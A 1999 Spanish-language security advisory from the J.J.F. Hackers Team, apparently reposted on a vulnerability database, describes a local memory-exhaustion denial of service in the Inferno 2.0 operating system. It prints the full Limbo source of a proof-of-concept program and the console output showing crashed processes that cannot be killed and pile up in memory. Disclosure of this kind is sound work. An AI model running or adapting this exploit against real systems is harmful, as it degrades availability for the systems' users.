`
- J.J.F. / Hackers Team - Security Advisory
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Fecha: 18/1/1999
Autor: Conde Vampiro
URL: http://www.jjf.org
Aplicacion:
Sistema Operativo: Inferno 2.0 en plataforma Windows.
(Posiblemente tambien estan afectadas todas
las plataformas que corran Inferno.)
Peligrosidad: Un usuario puede producir un DoS (Denegacion de Servicio)
en su memoria.
-=-=-=-=-=-=-=-=
Introduccion
-=-=-=-=-=-=-=-=
Mediante un programa escrito en Limbo se puede producir una denegacion
de servicio (DoS) consumiendo toda la memoria. Incluso los comandos destinados
a evitar esto en Inferno son incapaces de quitarlos.
-=-=-=-=-=-=-=-=
En Detalle
-=-=-=-=-=-=-=-=
Utilizando el siguiente programa escrito en Limbo, podemos ir ocupando
toda la memoria en la plataforma donde estemos corriendo Inferno.
------------ Codigo Fuente ---------------------------------------------------
#
# FILE: killmen.b
# DATE: 11/10/98
# CODER: Conde Vampiro of - J.J.F. / Hackers Team -
# ABSTRACT: A DoS (Denial of service) in Limbo for Inferno O.S
#
# http://www.jjf.org - J.J.F. / Hackers Team -
implement killmen;
include "sys.m";
sys: Sys;
include "draw.m";
i : int;
men : con "DoS by Conde Vampiro";
died := array[0] of int;
kill := array[0] of int;
killmen: module {
init: fn(ctxt: ref Draw-> Context, nil: list of string);
};
init (ctxt: ref Draw-> Context, nil: list of string) {
sys = load Sys Sys->PATH;
sys->print("%s\n\n", men);
for (i:=0;i<100;i++) {
died[i]=kill[i];
}
}
------------ FIN -------------------------------------------------------------
Si un usuario ejecuta este programa en la consola del Inferno, se
producira el siguiente error:
colmillo$ killmen
DoS by Conde Vampiro
[killmen] Broken: "array bounds error"
17 "killmen":array bounds error
colmillo$
Podemos observar que el programa killmen ha producido un error y el
shell nos muestra el pid, en este caso 17. Si ejecutamos el comando 'ps',
nos mostrara el siguiente resultado:
colmillo$ ps
1 1 Conde Vampiro release 1K Sh[$Sys]
6 6 inferno alt 19K Wm
7 6 inferno release 4K Wm[$Sys]
8 6 inferno release 4K Wm[$Sys]
11 10 inferno recv 16K Plumb
12 10 inferno alt 16K Plumb
13 10 inferno alt 16K Plumb
17 1 Conde Vampiro broken 10K killmen
18 1 Conde Vampiro ready 1K Ps[$Sys]
colmillo$
El programa killmen sigue estando en memoria, aunque haya producido un
error. Si ejecutamos el programa durante un rato, ira consumiendo la
memoria, esto se puede hacer facilmente utizando Mash, el shell script de
Inferno.
Incluso, si el administrador del sistema no ha ejecutado el entorno de
ventana de Inferno o no ha linkado el comando 'ps' al directorio /prog, el
programa killmen al ejecutarse se queda oculto ya que el 'ps' no mostrara
ningun proceso en memoria, pero realmente si que esta ocupando memoria.
El comando 'slayer' destinado a destruir los procesos "broken"
es incapaz de quitar de la memoria a killmen. Si nos dirigimos al directorio
/prog podemos ver todos los procesos en forma de ficheros:
colmillo$ cd /prog
colmillo$ ls -l
dr-xr-xr-x p 0 Conde Vampiro Conde Vampiro 0 Jan 18 17:53 1
dr-xr-xr-x p 0 inferno Conde Vampiro 0 Jan 18 17:53 11
dr-xr-xr-x p 0 inferno Conde Vampiro 0 Jan 18 17:53 12
dr-xr-xr-x p 0 inferno Conde Vampiro 0 Jan 18 17:53 13
dr-xr-xr-x p 0 Conde Vampiro Conde Vampiro 0 Jan 18 17:53 17
dr-xr-xr-x p 0 Conde Vampiro Conde Vampiro 0 Jan 18 17:53 22
dr-xr-xr-x p 0 inferno Conde Vampiro 0 Jan 18 17:53 6
dr-xr-xr-x p 0 inferno Conde Vampiro 0 Jan 18 17:53 7
dr-xr-xr-x p 0 inferno Conde Vampiro 0 Jan 18 17:53 8
colmillo$
Los procesos 17 y 22 son el programa killmen que siguen estando en
memoria y cada vez que se ejecute se ira creando un nuevo proceso "broken".
-=-=-=-=-=-=-=-=
Byes All
[email protected]
http://www.jjf.org
- J.J.F. / Hackers Team - Security Advisory
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation